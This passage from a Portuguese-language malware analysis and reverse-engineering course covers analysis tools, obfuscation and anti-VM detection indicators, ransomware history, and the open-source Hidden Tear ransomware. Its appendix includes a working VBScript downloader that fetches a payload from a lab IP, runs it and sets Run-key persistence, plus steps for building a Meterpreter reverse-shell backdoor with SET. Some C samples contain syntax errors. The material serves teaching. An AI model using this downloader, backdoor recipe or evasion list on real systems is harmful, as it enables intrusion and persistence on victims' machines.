automatizada, com a aplicação de scripts por exemplo.
Empresas de anti-malwares geralmente possuem bases de dados com
milhões de amostras que são analisadas automaticamente através do método
dinâmico, sendo que somente os arquivos que fogem do padrão são separados e
posteriormente analisados manualmente por uma pessoa utilizando métodos
estáticos.
Ferramentas para Análise
NMAP
Software para realização de port scan;
https://nmap.org/
Wireshark
Analisador de tráfego de rede;
https://www.wireshark.org/
Process Explorer
Monitor de processos do Windows;
https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
TCP View
Monitor de conexões do Windows;
https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview
WXHexEditor
Editor de hexadecimais;
https://www.wxhexeditor.org/
FileGrab
Monitoramento do filesystem do Windows;
https://sourceforge.net/projects/filegrab/
DiE
Detector de Packer;
https://ntinfo.biz/
FTK Imager
Framework para computação forense;
Permite DUMP da memória RAM;
https://accessdata.com
API Monitor
Monitora chamadas de funções de APIs ou DLLs
http://www.rohitab.com/apimonitor
RegShot
Cria uma imagem de propriedades específicas do sistema e compara com o
estado pós infecção;
https://sourceforge.net/projects/regshot/
Sandbox
São mecanismos de segurança para separar os programas em execução,
geralmente com objetivo de identificar falhas ou vulnerabilidades do software, sendo
frequentemente usado para executar programas ou códigos não testados ou não
confiáveis. Fornece um conjunto de recursos rigidamente controlado para execução
dos programas;
Métodos de ofuscação
Os métodos de ofuscação, são formas utilizadas pelos programadores de
malwares para tentar esconder seu código e desta forma fazer com que os mesmos
não sejam detectados pelos anti-malwares e demais ferramentas de segurança.
Packer
São programas que permitem ao usuário compactar, e em alguns casos
criptografar, um executável sem perder suas funcionalidades. Por compactar o
executável original acaba ofuscando seu conteúdo.
Após compactar o executável original e por consequência, o packer cria um
novo conteúdo de código executável, inserindo no código uma rotina para
descompactá-lo, geralmente no final do arquivo, e modifica o entry point do executável
apontando para esta rotina. Ao ser executado, a rotina para descompactar é iniciada,
descompactando o executável na memoria e iniciando seu código original.
Encriptadores
Os encriptadores são programas de criptografia de arquivos executáveis e tem
os mesmos propósitos dos packers, ocultar o conteúdo de um arquivo executável.
Tendem a se manterem indetectáveis pelos antivírus e IDS e resistirem a
esforços de engenharia reversa, porém diferente dos packers, utilizam um algoritmo
de criptografia no executável, inserindo uma rotina de descriptografia, responsável
por trazer de volta o conteúdo original do arquivo na memória em cada execução.
Binders
Os binders, também chamados de joiner ou wrapper, recebem como entrada
um arquivo executável e outro arquivo qualquer, mesclando ambos e formando um
só́ arquivo, desta forma, um executável malicioso pode ser oculto dentro de uma
imagem, arquivo de áudio, vídeo, etc.
AntiVM e AntiSandbox
Com o objetivo de evitar que sejam analisados, os programadores de
malwares muitas vezes criam instruções para evitar que seus códigos sejam
executados em ambientes isolados, uma vez que um ambiente desta forma é
detectado, o Malware pode simplesmente não ser executado, como pode também
alterar seu comportamento.
Como exemplo podemos citar o caso de um malware que quando executado
em um hardware real se conectava com seus servidor C&C, porém quando detectava
que estava em execução em uma VM, se conectava em um domínio legítimo.
Esta detecção de sistema é feita principalmente levando em conta alguns
pontos chaves como:

Instruções da CPU: utilizando

CPUID: esta instrução é executada com o valor EAX=1 como entrada,
o valor retornado indica os recursos do processador, sendo que o 31º
bit do ECX em uma máquina física é 0, enquanto em uma máquina
virtual é 1.

Fabricante do Hypervisor: ainda utilizando o CPUID agora com o valor
EAX=40000000, o malware é capaz de receber o nome do fabricante
do hypervisor.

MMX: este conjunto de instruções da Intel para processamento gráfico
não costuma ser suportado por máquinas virtuais, sendo assim, sua
ausência pode indicar que o malware está em uma VM.

Mac Addresses: o prefixo do endereço MAC das placas de rede indica
seu fabricante, sendo que no caso de alguns hypervisores, as VM
recebem placas de rede virtuais que contem seu fabricante, por
exemplo:
o 00:05:69 (Vmware)
o 00:0C:29 (Vmware)
o 00:1C:14 (Vmware)
o 00:50:56 (Vmware)
o 08:00:27 (VirtualBox)

Verificação de chaves de registro: a existência das seguintes chaves
indica um sistema virtualizado:
o HKLM\SOFTWARE\Vmware Inc.\\\Vmware Tools
o HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus
0\Target Id 0\Logical Unit Id 0\Identifier
o SYSTEM\CurrentControlSet\Enum\SCSI\Disk&Ven_VMware_&
Prod_VMware_Virtual_S
o SYSTEM\CurrentControlSet\Control\CriticalDeviceDatabase\roo
t#vmwvmcihostdev
o SYSTEM\CurrentControlSet\Control\VirtualDeviceDrivers

Checagem de processos: a lista de processos abaixo indica que se trata
de uma máquina virtual:
o Vmware
o Vmtoolsd.exe
o Vmwaretrat.exe
o Vmwareuser.exe
o Vmacthlp.exe
o VirtualBox
o vboxservice.exe
o vboxtray.exe

Checagem de arquivos: os seguintes arquivos indicam que a máquina
é uma VM:
o VMware

C:\windows\System32\Drivers\Vmmouse.sys

C:\windows\System32\Drivers\vm3dgl.dll

C:\windows\System32\Drivers\vmdum.dll

C:\windows\System32\Drivers\vm3dver.dll

C:\windows\System32\Drivers\vmtray.dll

C:\windows\System32\Drivers\VMToolsHook.dll

C:\windows\System32\Drivers\vmmousever.dll

C:\windows\System32\Drivers\vmhgfs.dll

C:\windows\System32\Drivers\vmGuestLib.dll

C:\windows\System32\Drivers\VmGuestLibJava.dll

C:\windows\System32\Driversvmhgfs.dll
o VirtualBox


C:\windows\System32\Drivers\VBoxMouse.sys

C:\windows\System32\Drivers\VBoxGuest.sys

C:\windows\System32\Drivers\VBoxSF.sys

C:\windows\System32\Drivers\VBoxVideo.sys

C:\windows\System32\vboxdisp.dll

C:\windows\System32\vboxhook.dll

C:\windows\System32\vboxmrxnp.dll

C:\windows\System32\vboxogl.dll

C:\windows\System32\vboxoglarrayspu.dll

C:\windows\System32\vboxoglcrutil.dll

C:\windows\System32\vboxoglerrorspu.dll

C:\windows\System32\vboxoglfeedbackspu.dll

C:\windows\System32\vboxoglpackspu.dll

C:\windows\System32\vboxoglpassthroughspu.dll

C:\windows\System32\vboxservice.exe

C:\windows\System32\vboxtray.exe

C:\windows\System32\VBoxControl.exe
Checagem de serviços: uma vez que os hypervisores costumam instalar
pacotes de aperfeiçoamento nas máquinas virtuais, alguns serviços
podem identifica-los:
o VMTools
o Vmhgfs
o VMMEMCTL
o Vmmouse
o Vmrawdsk
o Vmusbmouse
o Vmvss
o Vmscsi
o Vmxnet
o vmx_svga
o Vmware Tools
o Vmware Physical Disk Helper Service
Sugestões de Livros

Practical Malware Analysis: The Hands-On Guide to Dissecting
Malicious Software - Michael Sikorski, Andrew Honig

Malware Data Science: Attack Detection and Attribution - Joshua Saxe,
Hillary Sanders
Referências

MARS: uma arquitetura para análise de malwares utilizando SDN
o http://www.teses.usp.br/teses/disponiveis/3/3141/tde-28022018105426/publico/JoaoMarceloCeronCorr18.pdf

Caminho para os iniciantes em Análise de Malware
o https://www.mentebinaria.com.br/forums/topic/178-caminhopara-os-iniciantes-em-an%C3%A1lise-de-malware/

Montando sua máquina virtual para engenharia reversa em macOS.
o https://www.mentebinaria.com.br/artigos/montando-suam%C3%A1quina-virtual-para-engenharia-reversa-em-macosr35/

Montando sua máquina virtual para engenharia reversa em Windows
o https://www.mentebinaria.com.br/artigos/montando-suam%C3%A1quina-virtual-para-engenharia-reversa-em-windowsr19

Montando sua máquina virtual para engenharia reversa em Linux
o https://www.mentebinaria.com.br/artigos/montando-suam%C3%A1quina-virtual-para-engenharia-reversa-em-linux-r26

Cuckoo Sandbox Overview and Demo
o https://www.youtube.com/watch?v=V4z2tLRCuIY

How To Hide BTC Stealer Using mfile binder.
o https://www.youtube.com/watch?v=mdRB5N5iFAw

AntiVM and AntiSandBox Explained
o https://www.cyberbit.com/blog/endpoint-security/anti-vm-andanti-sandbox-explained/
Capítulo 4
Introdução
Neste capítulo faremos um estudo mais aprofundado sobre os malwares do
tipo ransomware, onde abordaremos as definições sobre este tipo de ameaça, e
também exemplificaremos um ataque de ransomware utilizando como base o
ransomware OpenSource Hidden Tear.
O que é um ransomware
O ransom malware, ou como é mais conhecido, ransomware, é uma categoria
de malwares que tem como objetivo impedir os acessos os usuários aos seus
sistemas ou arquivos pessoais, exigindo o pagamento do resgate para recuperação
do acesso. Os primeiros ataques neste formato, datam do final da década de 1980,
onde os pagamentos eram solicitados via correio tradicional, hoje em dia os resgates
são exigidos através de criptomoedas ou cartões de crédito.
História dos Ransomwares
O primeiro malware a utilizar técnicas de sequestro foi criado no final da
década de 1980, conhecido como PC Cyborg ou AIDS, ele criptografava todos os
arquivos no disco C: diretório depois de 90 reinicializações, solicitando ao usuário
“renovar sua licença” enviando U$189,00 pelo correio para a PC Cyborg Corp.
No caso do PC Cyborg, a criptografia utilizada era simples o suficiente para
ser revertida, sendo assim, pelo menos para usuários mais experientes, representava
uma ameaça pequena.
Ao longo dos 10 anos seguintes, poucas variantes que utilizassem o mesmo
princípio foram encontradas, sendo que até 2004 quando o GpCode foi criado,
utilizando criptografia RSA, nenhuma verdadeira ameaça de ransomware foi
documentada.
Já no ano de 2007, o WinLock foi o primeiro ransomware a utilizar um novo
tipo de sequestro, sendo que ao invés de criptografar arquivos, bloqueava o acesso
dos usuários aos seus computadores. O WinLock assumia a tela da vítima e passava
a exibir imagens pornográficas, exigindo o pagamento através de um SMS pago para
removê-los.
Em 2012 uma nova forma de ransomware surgiu com o desenvolvimento da
família Reveton de ransomware, onde o malware se passava por um agente da lei.
Nesses casos, após a infecção, as vítimas teriam seus computadores bloqueados e
mostravam uma página de visual oficial, que incluía credenciais para agências de
cumprimento da lei, como o FBI e a Interpol sob alegação de que o usuário cometeu
um crime, como tentativa de invasão, download de arquivos ilegais, até mesmo
pornografia infantil. A maioria das famílias de ransomware de cumprimento da lei
exigiam que uma multa, variando de U$ 100,00 a U$ 3.000,00 fosse paga com um
cartão pré-pago, como o UKash ou o PaySafeCard.
Em geral, usuários leigos não sabiam como lidar com esse tipo de ataque e
tendiam a acreditar que realmente estavam sob investigação das instituições de
cumprimento da lei, neste caso, é utilizada uma tática bastante conhecida de
engenharia social, denominada culpa inferida, onde o usuário passa a questionar sua
própria inocência e, para não ser acusado de uma atividade que não se orgulha, paga
o resgate para que tudo desapareça.
Em 2013 os ransomware de criptografia voltam a aparecer com o
CryptoLocker, porém desta vez os níveis de criptografia eram muito mais altos, no
caso do CryptoLocker, era usada criptografia de grau militar e o armazenamento da
chave para descriptografar os arquivos era feita em um servidor remoto, tornando
praticamente impossível a recuperação dos dados sem o pagamento do resgate. Este
tipo de ransomware de criptografia ainda se encontra em atividade, tendo se mostrado
ao longo dos anos uma ferramenta incrivelmente eficiente para os criminosos
ganharem dinheiro, ataques como o WannaCry em maio de 2017 e o Petya, em junho
de 2017, são exemplos deste tipo de ransomware.
Vetores de Entrada
De uma forma geral, os ataques de ransomware estão normalmente ligados
ao uso de técnicas de engenharia social, sendo que atualmente a forma de infecção
mais utilizada é através de spam malicioso, também chamado de malspam, onde, a
fim de convencer os usuários a abrirem anexos ou clicarem em links que aparentam
ser legítimos, os criminosos agem parecendo ser de uma instituição confiável ou um
amigo.
Além dos spams, em 2016 um segundo método atingiu seu pico, a propaganda
maliciosa ou malvertising. Onde se faz uso de publicidade on-line para distribuir
malwares com pouca ou nenhuma necessidade de interação do usuário.
Tipos de Ransomware
Scareware
Os scarewares são softwares de segurança falsos e fraudes de suporte
técnico. Normalmente o usuário recebe uma mensagem pop-up alegando que um
malware foi descoberto e a única maneira de se livrar dele é efetuando a compra do
software específico. Caso o usuário não tome nenhuma ação corretiva, continuará a
receber os pop-ups, porém, seus arquivos estão seguros.
Programas legítimos de segurança não fazem solicitações aos clientes desta
forma, o usuário deve ficar também atento, pois se não possui o software da empresa
que se apresenta como solução, não há como esta empresa estar analisando seu
computador, e caso possua, não precisaria pagar um valor adicional para remover
um malware.
Bloqueados de Tela
Esta categoria de ransomware bloqueia o acesso ao computador, mantendo o
usuário sem conseguir iniciar o mesmo. Em grande parte dos casos, ao inicializar o
computador, é exibida uma janela do tamanho da tela, acompanhada pelo selo do
FBI ou do Departamento de Justiça Americano, procurando parecer uma atividade
legítima, informando que uma atividade ilegal foi detectada em seu computador e por
este motivo deve pagar uma multa.
Encriptadores de Arquivos
Este é provavelmente o tipo mais conhecido de ransomware. Seu modo de
atuação é criptografar os arquivos o usuário e cobrar um resgate para descriptografar.
Um dos maiores riscos deste tipo de ransomware, é que uma vez
criptografados os arquivos, a probabilidade de descriptografar os mesmos, sem a
chave que está em posso do criminoso, é praticamente nula, e como todo sequestro,
mesmo havendo o pagamento do resgate, não há garantia de que os criminosos
enviarão a chave para recuperação dos arquivos.
Sistemas Apple
Em 2016 foi lançado o primeiro ransomware para Mac OS em 2016.
Denominado KeRanger, este ransomware infectava um aplicativo de
compartilhamento de arquivos Torrent chamado Transmission que, após ser iniciado,
copiava os arquivos maliciosos que permaneciam sendo executados em silêncio em
segundo plano por três dias, para só então executarem suas funções de criptografia.
Felizmente, o anti-malware embutido da Apple, XProtect, lançou uma atualização logo
após a identificação do ransomware, que o impediria de infectar os sistemas dos
usuários, mesmo assim o lançamento deste Ransomware para Mac, tira a questão
de infecções deste tipo no sistema operacional da Apple do status de teórico para
realidade.
Sistemas Android
Até o auge do CryptoLocker e outras famílias similares em 2014, nada em
grande escala havia sido visto em dispositivos móveis. O ransomware móvel
geralmente atua de forma bem semelhante aos ransomware para PC que se passam
por entidades da lei, exibindo uma mensagem de que o dispositivo foi bloqueado
devido a algum tipo de atividade ilegal. A mensagem indica que o telefone será
desbloqueado depois que uma taxa for paga.
Hidden Tear
O Hidden Tear era um projeto OpenSource com o objetivo de criar simples
ransomware simples em C#.
Seu código original foi publicado no GitHub em agosto de 2015, e atualmente,
mesmo após seu desenvolvedor Utku Sen ter abandonado seu projeto, o código
original já possui mais de 400 forks, sendo assim extremamente fácil encontrar seu
código na internet.
Quando o Hidden Tear é ativado, ele criptografa certos tipos de arquivos
usando criptografia AES, envia a chave simétrica para os servidores de controle do
malware e dá uma mensagem em txt, informando à vítima avisando sobre a
encriptação dos arquivos.
De uma forma geral sua configuração é bem simples, dependendo da edição
de alguns arquivos em php que compõe sua parte servidor, que rodará
preferencialmente no Linux com Apache 2, MySQL ou MariaDB e o PHP 5.6. Um
ponto de atenção é com relação ao PHP, devido à algumas funções utilizadas em seu
código fonte, o Hidden Tear só funcionará no PHP 5.6
Além da edição dos arquivos em PHP do ambiente servidor, será necessário
também a edição do seu código fonte, escrito em C#, utilizando o Visual Studio 2013
e depois o mesmo deve ser recompilado, assim como a versão do PHP no ambiente
servidor, para compilar o ransomware e o decriptador, é necessário que seja a versão
2013 do Visual Studio.
Sugestões de Livros

Ransomware: Defendendo-Se da Extorsão Digital - Allan Liska, Timothy
Gallo
Referências

Tudo Sobre ransomware
o https://br.malwarebytes.com/ransomware/

First Mac ransomware spotted
o https://blog.malwarebytes.com/cybercrime/2016/03/first-macransomware-spotted/
Capítulo de Apoio
Lista de Programas
Linux

Debian Linux
o https://www.debian.org

Kali Linux
o https://www.kali.org

ndisasm
o apt-get install nasm

PEV
o https://github.com/merces/pev

UPX Packer
o apt-get install upx

Hidden Tear
o https://github.com/Virgula0/hidden-tear
Windows

Johnny Simulator
o https://sourceforge.net/projects/johnnysimulator/files/johnny_v_1_0
1_inst_2014_04_27a.zip/download

wxHexEditor
o https://www.wxhexeditor.org

PE Studio
o https://www.winitor.com/binaries.html

Resource Hacker
o http://www.angusj.com/resourcehacker

DevC++
o https://sourceforge.net/projects/orwelldevcpp

OllyDBG:
o http://www.ollydbg.de

Arquivo HLP:
o https://github.com/trietptm/OllyDbg-Archive/blob/master/HLPFiles/win32.hlp

Patch correção para abrir arquivo HLP
o https://support.microsoft.com/pt-br/help/917607/error-openinghelp-in-windows-based-programs-feature-not-included-or-h

ReverseMe.exe
o https://www.4shared.com/file/XdwikUleda/reverseMe.html?

NMAP
o https://nmap.org

Wireshark
o https://www.wireshark.org

Process Explorer
o https://docs.microsoft.com/en-us/sysinternals/downloads/processexplorer

TCP View
o https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview

FileGrab
o https://sourceforge.net/projects/filegrab

DiE
o https://ntinfo.biz

FTK Imager
o https://accessdata.com

API Monitor
o http://www.rohitab.com/apimonitor

RegShot
o https://sourceforge.net/projects/regshot

Mfilebinder
o https://sourceforge.net/projects/mfilebinder

Visual Studio 2013
Fontes
SomaDoQuadrado.c
#include <stdio.h>
int total;
int Quadrado (int x) {
return x*x;
}
int QuadradoDaSoma (int x, int y){
int z = Quadrado (x + y);
return z;
}
int main() {
int a = 4 , b = 8;
total = QuadradoDaSoma(a,b);
printf(“O quadrado da soma é: %d\n”,total)
}
Downloader.VBS
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://192.168.106.133/payload.exe", False 'Endereço do
download
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile "c:\windows\temp\payload.exe", 2 'Caminho onde o arquivo será salvo
end with
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "c:\windows\temp\payload.exe", 1, false 'Execução do arquivo baixado
Const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set
objRegistry
=
GetObject("winmgmts:\\"
&
strComputer
&
"\root\default:StdRegProv")
objRegistry.SetStringValue
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
HKEY_LOCAL_MACHINE,
"Payload",
"c:\windows\temp\payload.exe" 'Configurando para iniciar automaticamente no próximo
boot
STACK.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
char c1;
char c2;
char c3;
char c4;
char *ponteiro;
printf (“Tamanho de um char: %d Byte\n”, sizeof(char));
printf (“Tamanho de um char *: %d Bytes\n”, sizeof(char *));
return 0;
}
HEAP.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
char c1;
char c2;
char c3;
char c4;
char *ponteiro;
ponteiro = (char *) malloc (100);
Scanf = (%c, &c1);
return 0;
}
HELLOWORLD.c
#include <stdio.h>
int main(void) {
printf (”HELLO WORLD\n");
return 0;
}
Implementação da Backdoor
1. Após abrir o terminal do Kali Linux, abra o Social Engineering Toolkit
com o comando “setoolkit”;
2. Na tela seguinte será exibido o seguinte menu, onde deverá escolher a
opção 1 (Social Engineering Attacks);
3. No próximo menu vamos escolher que tipo de payload criaremos, aqui
deverá escolher a opção 4 (Create a Payload and Listener);
4. Neste menu devemos escolher qual payload usaremos, escolha a
opção 2 (Windows Reverse TCP Meterpreter);
5. Nesta tela devemos informar o IP do nosso Kali Linux e a porta em que
nosso payload ficará aguardando as conexões;
6. Finalizadas as configurações, o SET fará a criação da backdoor,
salvando em /root/.set/payload.exe, e pedirá para confirmar a abertura
do metasploit, confirmando a abertura, a seguinte tela será exibida,
onde temos o metasploit aguardando pela conexão das máquinas
infectadas;
Conclusão
Finalizados os estudos de nosso curso, podemos concluir que engenharia reversa é
muito mais do que uma área da informática, estando presente na história da humanidade
desde tempos muito antigos, além disso, ela envolve desde as ações de uma criança, que
desmonta seu brinquedo para entender como funciona, até exércitos que roubam caças
inimigos para estudar seus pontos fortes e fraquezas, ou concorrentes no mercado de
hardware que compram lotes de produtos para criar similares.
Pudemos entender também que a execução de um aplicativo, ou mesmo a abertura
de um aplicativo, envolve muito mais componentes do que estamos acostumados a
considerar, ao longo de nossas aulas, estudamos por exemplo sobre a forma como os dados
são tratados na memória e suas diferentes áreas de gravação, e que a engenharia reversa,
muitas vezes exige nosso conhecimento de toda esta dinâmica, para entender como um
aplicativo funciona e sermos capazes de executar ações como o crack do ReverseMe criado,
além disso, também tivemos a conclusão de que a identificação de um tipo de arquivo não é
baseada em sua extensão, e sim em seus primeiros bytes e em sua estrutura interna, entendo
desta forma como funcionam as ferramentas de DLP.
Já em nossa abordagem sobre análise de malware, através do estudo da linha do
tempo de evolução dos malwares, pudemos notar uma nítida mudança no perfil das ameaças
criadas, sendo que os malwares mais antigos, eram muito mais focados em danificar os
sistemas e assim causar prejuízos, do que no roubo de informações como ocorre atualmente.
Durante os estudos de análise de malware, verificamos também a diferenças entre as
duas formas de análise existentes, a dinâmica e a estática, sendo executadas tarefas ligadas
a cada uma delas, incluindo a implementação de uma backdoor para ser analisada e também
de um ransomware.